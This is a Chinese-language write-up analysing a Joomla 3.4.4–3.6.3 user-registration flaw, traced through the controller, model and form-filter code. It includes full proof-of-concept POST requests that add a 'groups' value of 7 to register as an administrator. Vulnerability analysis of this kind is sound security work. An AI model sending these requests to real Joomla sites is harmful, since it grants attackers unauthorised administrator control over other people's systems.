漏洞环境
Joomla版本 3.44到3.63
漏洞说明
这个漏洞和CVE-2016-8869是姊妹篇的漏洞,但是这个漏洞比8869这个漏洞的思路更加巧妙,更有意思。这个漏洞本质也是与8869的这个漏洞差不多,都是出现在用户登陆注册的地方。
漏洞分析
整个漏洞还是和之前的8869的漏洞类似,都是出在components/com_users/controllers/user.php中UsersControllerUser::register()中。
请求包
首先通过一个请求包来分析UsersControllerUser::register()的整个注册流程的处理。
POST /joomla/index.php/component/users/?task=registration.register HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://localhost/joomla/index.php/component/users/?view=registration Cookie: 【COOKIE】 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=---------------------------596020006637 Content-Length: 1036 -----------------------------596020006637 Content-Disposition: form-data; name="user[name]" spoock -----------------------------596020006637 Content-Disposition: form-data; name="user[username]" spoock -----------------------------596020006637 Content-Disposition: form-data; name="user[password1]" 123456 -----------------------------596020006637 Content-Disposition: form-data; name="user[password2]" 123456 -----------------------------596020006637 Content-Disposition: form-data; name="user[email1]" 1@123.com -----------------------------596020006637 Content-Disposition: form-data; name="user[email2]" 1@123.com -----------------------------596020006637 Content-Disposition: form-data; name="option" com_users -----------------------------596020006637 Content-Disposition: form-data; name="task" user.register -----------------------------596020006637 Content-Disposition: form-data; name=【TOKEN】 1 -----------------------------596020006637--
上述使用【】标注的COOKIE和TOKEN需要用户自定义,至于如何得到这两个值,整个上面文章已经做了十分详细的说明了,这里就不做解释。
register()
上述的POST请求会由components/com_users/controllers/user.php中UsersControllerUser::register()来进行处理。
程序就会运行到$model->register($data)中。其中的$data就是POST data中的user数组。
register($temp)
跟踪$model->regsiter($data)方法
components/com_users/models/registration.php中的UsersModelRegistration::register($temp)
在对$temp进行foreach遍历之前,存在语句
1
$data = (array) $this->getData();
这个就会存在$data变量,在通过$temp对$data进行赋值之前,在$data就就已经存在了内容,同时还有标识用户类型的数据。
如上图所示,其中的groups数组值为2,标识了此用户为普通用户。
注册成功
在完成了整个流程之后,就会注册一个普通用户。
PoC
在知道了是使用groups数组来对用户进行标识,那么就可以直接在POST Data中加入groups数组,将值设定为管理员的值(在joomla为7),那么就可以创建一个管理员用户了。
POST data
POST /joomla/index.php/component/users/?task=registration.register HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://localhost/joomla/index.php/component/users/?view=registration Cookie: 【COOKIE】 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=---------------------------596020006637 Content-Length: 1125 -----------------------------596020006637 Content-Disposition: form-data; name="user[name]" spoock -----------------------------596020006637 Content-Disposition: form-data; name="user[username]" spoock -----------------------------596020006637 Content-Disposition: form-data; name="user[password1]" 123456 -----------------------------596020006637 Content-Disposition: form-data; name="user[password2]" 123456 -----------------------------596020006637 Content-Disposition: form-data; name="user[email1]" 1@123.com -----------------------------596020006637 Content-Disposition: form-data; name="user[email2]" 1@123.com -----------------------------596020006637 Content-Disposition: form-data; name="user[groups][]" 7 -----------------------------596020006637 Content-Disposition: form-data; name="option" com_users -----------------------------596020006637 Content-Disposition: form-data; name="task" user.register -----------------------------596020006637 Content-Disposition: form-data; name=【TOKEN】 1 -----------------------------596020006637--
可以看到相比上一节中的POST请求,这个PoC中的POST请求增加了数据
-----------------------------596020006637
Content-Disposition: form-data; name="user[groups][]"
这个就是用来标识用户为管理员的数据。
在将$temp中的值赋值给$data之后通过调试,查看$temp和$data中的数据
可以看到,最后在$data中成功写入了groups为7的值。
最后查看后台用户,发现已经注册成为了管理员。
正常注册
上述的分析,都是基于components/com_users/controllers/user.php中UsersControllerUser::register()来进行分析的。在页面上进行正常注册时,注册请求会发送到components/com_users/controllers/registration.php中的UsersControllerRegistration::register()中。
[page]
POST data
在POST data中,仅仅只需要添加groups即可。
POST /joomla/index.php/component/users/?task=registration.register HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://localhost/joomla/index.php/component/users/?view=registration Cookie:【COOKIE】 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=---------------------------204296728662 Content-Length: 1036 -----------------------------204296728662 Content-Disposition: form-data; name="jform[name]" spoock -----------------------------204296728662 Content-Disposition: form-data; name="jform[username]" spoock -----------------------------204296728662 Content-Disposition: form-data; name="jform[password1]" 123456 -----------------------------204296728662 Content-Disposition: form-data; name="jform[password2]" 123456 -----------------------------204296728662 Content-Disposition: form-data; name="jform[email1]" 1@123.com -----------------------------204296728662 Content-Disposition: form-data; name="jform[email2]" 1@123.com -----------------------------204296728662 Content-Disposition: form-data; name="jform[groups][]" 7 -----------------------------204296728662 Content-Disposition: form-data; name="option" com_users -----------------------------204296728662 Content-Disposition: form-data; name="task" registration.register -----------------------------204296728662 Content-Disposition: form-data; name=【TOKEN】 1 -----------------------------204296728662--
register()
上述的请求最后会由components/com_users/controllers/registration.php中的UsersControllerRegistration::register()来进行处理,在其中同样会存在$return = $model->register($data);语句。
diff
对比在UsersControllerRegistration和UsersControllerUser的register()方法UsersControllerRegistration::register()
public function register() { //some php codes $data = $model->validate($form, $requestData); // some php codes $return = $model->register($data); //some php codes } UsersControllerUser::register()
public function register() { //some php codes $return = $model->validate($form, $data); // some php codes $return = $model->register($data); // some php codes }
从两者的对比中可以看出,UsersControllerUser中对data进行了验证之后并没有使用返回之后的$return而是仍然使用的是$data。在UsersControllerRegistration中对$requestData进行了验证之后,使用的是返回之后的$data。
validate
跟踪validate($form, $requestData)
libraries/legacy/model/form.php中的JModelForm::validate()方法。
在传入的validate()中,存在两个参数,分别为$form和$data。
从图中可以看出$data中是保存有groups的值的。
在valiate中胡调用fliter()函数对$data进行处理。
filter
跟踪filter($data)
libraries/joomla/form/form.php中的JForm::filter()
public function filter($data, $group = null) { // Make sure there is a valid JForm XML document. if (!($this->xml instanceof SimpleXMLElement)) { return false; } $input = new Registry($data); $output = new Registry; // Get the fields for which to filter the data. $fields = $this->findFieldsByGroup($group); if (!$fields) { // PANIC! return false; } // Filter the fields. foreach ($fields as $field) { $name = (string) $field['name']; // Get the field groups for the element. $attrs = $field->xpath('ancestor::fields[@name]/@name'); $groups = array_map('strval', $attrs ? $attrs : array()); $group = implode('.', $groups); $key = $group ? $group . '.' . $name : $name; // Filter the value if it exists. if ($input->exists($key)) { $output->set($key, $this->filterField($field, $input->get($key, (string) $field['default']))); } } return $output->toArray(); }
从上面的代码中可以看出,$data最后转换成为了$input。同时还存在$fileds,是由程序产生$fields = $this->findFieldsByGroup($group);。
最关键的是foreach循环中,如果$data中的$key在$fields中才会进行输出,但是最后通过单步调试调试,发现在$fileds中并不存在$groups,那么最后就过滤掉了groups了。
所以通过正常的注册方式想要提升权限是不可能的。
后记
在本漏洞中存在的问题与8869的漏洞是一样的,注册用户之后需要通过邮件进行激活,所以这个漏洞实际上也很难发挥作用,修复方式也和8869漏洞的修复方式是一样的。